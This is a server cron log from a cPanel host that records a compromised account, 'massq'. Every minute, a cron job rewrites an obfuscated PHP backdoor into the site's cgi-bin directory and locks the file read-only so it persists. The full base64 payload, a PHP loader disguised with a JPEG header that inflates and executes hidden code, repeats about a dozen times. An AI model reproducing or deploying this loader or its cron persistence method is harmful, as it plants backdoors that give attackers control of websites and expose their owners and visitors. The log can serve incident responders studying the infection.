Sep  8 08:52:01 server CROND[6551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:52:01 server CROND[6552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:52:01 server CROND[6550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:53:01 server CROND[7112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:53:01 server CROND[7113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:53:01 server CROND[7115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:54:01 server CROND[7497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:54:01 server CROND[7498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:54:01 server CROND[7496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:55:01 server CROND[7887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:55:01 server CROND[7889]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:55:01 server CROND[7897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:55:01 server CROND[7895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:55:01 server CROND[7898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:55:01 server CROND[7900]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:55:01 server CROND[7896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:56:01 server CROND[8724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:56:01 server CROND[8725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:56:01 server CROND[8726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:57:01 server CROND[9207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:57:01 server CROND[9208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:57:01 server CROND[9209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:57:01 server CROND[9210]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 08:58:01 server CROND[9593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:58:01 server CROND[9594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:58:01 server CROND[9595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:59:01 server CROND[9983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:59:01 server CROND[9984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:59:01 server CROND[9985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:00:01 server CROND[10443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:00:01 server CROND[10452]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 09:00:01 server CROND[10455]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  8 09:00:01 server CROND[10451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:00:01 server CROND[10454]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:00:01 server CROND[10456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:00:01 server CROND[10453]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:00:01 server CROND[10459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:00:01 server CROND[10460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:00:01 server CROND[10457]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:01:01 server CROND[11291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:01:01 server CROND[11293]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 09:01:01 server CROND[11295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:01:01 server CROND[11294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:01:01 server run-parts(/etc/cron.hourly)[11293]: starting 0anacron
Sep  8 09:01:01 server run-parts(/etc/cron.hourly)[11314]: finished 0anacron
Sep  8 09:02:01 server CROND[11773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:02:01 server CROND[11774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:02:01 server CROND[11775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:03:01 server CROND[12214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:03:01 server CROND[12215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:03:01 server CROND[12216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
